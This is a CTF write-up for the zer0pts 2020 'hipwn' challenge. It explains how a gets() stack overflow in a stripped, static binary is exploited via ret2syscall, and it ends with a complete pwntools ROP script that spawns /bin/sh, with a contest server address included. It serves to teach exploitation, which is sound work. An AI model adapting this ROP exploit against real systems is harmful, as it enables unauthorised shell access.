## Challenge
Hi, all pwners over the world!
[chall](https://github.com/Pwnie-Island/Pwnie-Island-Wargame/raw/main/zer0pts_CTF/2020/hipwn/distfiles/chall)
[main.c](https://raw.githubusercontent.com/Pwnie-Island/Pwnie-Island-Wargame/main/zer0pts_CTF/2020/hipwn/distfiles/main.c)
## Recon
```shell$ file chall chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped```
Note that this binary is **statically linked**, so we can't use ret2libc. In addition, this binary is **stripped**, so we know nothing about the function names.
```shell$ checksec chall[*] '/root/Dropbox/Pwnie-Island-Wargame/zer0pts_CTF/Pwn/hipwn/chall'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
Since **NX** is the only protection turned on, this challenge can be solved with some ROP technique.
## Source Code
```c=1#include <stdio.h>
int main(void) {  char name[0x100];  puts("What's your team name?");  gets(name);  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);  return 0;}```
Obviously `gets(name);` triggers stack overflow that allows us to control RIP.
## Analysis
Since the binary is statically linked and stripped, the first thing we should try is **ret2syscall**. To learn more about ret2syscall, check out [ret2syscall Cheat Sheet](https://hackmd.io/@PwnieIsland/ret2syscall-cheat-sheet).
Let's look for necessary ROP gadgets:
![ROPgadget](https://i.imgur.com/cDPZclB.png)
However, the string `/bin/sh` is not inside the binary:
![No "/bin/sh"](https://i.imgur.com/JE8cixl.png)
This makes the challenge slightly difficult. What we have to do here is to pass the string `"/bin/sh"` to the `.bss` section. The address of `.bss` can be easily found using Pwntools (`bss = elf.bss()`). Since the binary contains the function `gets`, we can call `gets(bss)` to open a STDIN session and pass the string `"/bin/sh"` from here.
Next, we need to find the address of `gets`. But the binary is stripped, so how do deduce the location of this address? First **disassemble** the binary:
```shell$ objdump -D -M intel chall > disassembly.asm```
We know that the **SIGSEGV** happens at `0x40019c`:
![SIGSEGV](https://i.imgur.com/yQp65Sx.png)
So `gets` must be happening a few instructions before this point. Search `40019c` in the disassembly:
![Disassembly](https://i.imgur.com/4KFiM5u.png)
There are three functions get called here:
1. `0x40062f`2. `0x4004ee`3. `0x400591`
**According to the source code**, we can deduce the correspondences based on the order that functions get called:
1. `0x40062f` => `puts`2. `0x4004ee` => `gets`3. `0x400591` => `printf`
So the address that we are looking for is `0x4004ee`.
Now we have everything ready for the ret2syscall attack.
## Exploit
```python=1#!/usr/bin/env python3from pwn import *
#--------Setup--------#
context(arch="amd64", os="linux")elf = ELF("chall", checksec=False)
local = Trueif local:    r = elf.process()else:    host = "13.231.207.73"    port = 9010    r = remote(host, port)
#--------Addresses--------#
pop_rax = 0x0000000000400121pop_rdi = 0x000000000040141cpop_rsi_pop_r15 = 0x000000000040141apop_rdx = 0x00000000004023f5syscall = 0x00000000004003fc
bss = elf.bss()gets = 0x4004ee
#--------ret2syscall--------#
offset = 264
payload = flat(	b"e" * offset,	# Round 1: call gets(bss)	pop_rdi, bss,	gets,	# Round 2: call execve("/bin/sh", 0, 0)	pop_rax, 59,	pop_rdi, bss,	pop_rsi_pop_r15, 0, 0x13371337,	pop_rdx, 0,	syscall,)
r.readuntil("What's your team name?\n")r.sendline(payload)r.sendline("/bin/sh\x00")r.interactive()```